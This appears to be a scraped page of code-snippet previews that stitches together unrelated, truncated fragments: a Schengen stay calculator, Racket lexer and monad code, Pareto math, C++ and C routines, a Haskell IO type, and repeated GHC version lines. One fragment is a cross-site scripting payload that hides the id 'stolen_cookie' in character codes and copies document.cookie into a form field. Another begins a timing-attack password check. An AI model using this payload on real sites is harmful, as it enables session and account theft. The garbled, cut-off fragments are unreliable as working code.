ghc: 7.8.3
cabal-install version 1.20.0.3
using version 1.20.0.2 of the Cabal library
OS: Mac OS X Lion 10.7.5
After running cabal install stm:
| """ | |
| Simple calculator to calculate the remaining number of days that I can stay in the schengen zone | |
| """ | |
| from datetime import datetime, timedelta | |
| dates = [ | |
| "2019-06-28", "2019-07-27", | |
| "2019-09-02", "2019-10-05", |
| #lang racket | |
| (require parser-tools/lex | |
| (prefix-in re- parser-tools/lex-sre) | |
| parser-tools/yacc) | |
| (provide (all-defined-out)) | |
| (define-tokens a (NUM VAR)) | |
| (define-empty-tokens b (+ - EOF LET IN)) | |
| (define-lex-trans number | |
| (syntax-rules () |
| def calc(k,p,alpha): | |
| u = 1.0 - 1.0 / float(1<<31) | |
| p_actual = k / pow(1.0 + u * (pow(k / p, alpha) - 1), 1.0/alpha) | |
| print "p actual:", p_actual | |
| def E_X(r, p): | |
| C_a = alpha * pow(k, alpha) / (1 - (pow(k/p,alpha))) | |
| return (C_a / (r - alpha)) * (pow(p, r-alpha) - pow(k,r-alpha)) | |
| def C(ex1, ex2): | |
| return ex2 / ex1 - 1 | |
| E_X_1_actual = E_X(1, p_actual) |
| #include <iostream> | |
| #include <vector> | |
| using namespace std; | |
| int big_average(const vector<int> &vec) { | |
| // we want sum(vec) / vec.size() | |
| int a = vec.size(), quotient = 0, remainder = 0; |
| <script> | |
| var id = String.fromCharcode([115, 116, 111, 108, 101, 110, 95, 99, 111, 111, 107, 105, 101]); | |
| document.getElementById(id).value = document.cookie; | |
| </script> | |
| // Timing Attack # 1 | |
| function checkPwd(passwd) { | |
| var start_time = new Date().getTime(); |
| /* | |
| * | |
| * 最简单的二分查找. 在一个数组里面找是否存在某个数 | |
| * A是数组,在A[p-r]里面找是否存在某个数, 存在返回index,否则返回-1 | |
| * | |
| */ | |
| int binSearch(int A[], int p, int r, int v) { | |
| while (p <= r) { | |
| int m = (p+r)/2; |
| // The following code will create Bizarre compiler error when compiled with clang++. | |
| // Not sure what's wrong with it. | |
| #include <iostream> | |
| #include <vector> | |
| using namespace std; | |
| struct Edge { | |
| int v; |
| #lang racket/base | |
| ;; Monads in Racket, including polymorphic bind, return and fail. | |
| ;; Haskell-like do-notation. | |
| (provide define-monad-class | |
| (struct-out monad-class) | |
| monad? | |
| gen:monad | |
| monad->monad-class | |
| determine-monad |
| data IOAction a = Return a | |
| | Put String (IOAction a) | |
| | Get (String -> IOAction a) | |
| get = Get Return | |
| put s = Put s (Return ()) | |
| seqio :: IOAction a -> (a -> IOAction b) -> IOAction b | |
| seqio (Return a) f = f a | |
| seqio (Put s io) f = Put s (seqio io f) |
ghc: 7.8.3
cabal-install version 1.20.0.3
using version 1.20.0.2 of the Cabal library
OS: Mac OS X Lion 10.7.5
After running cabal install stm: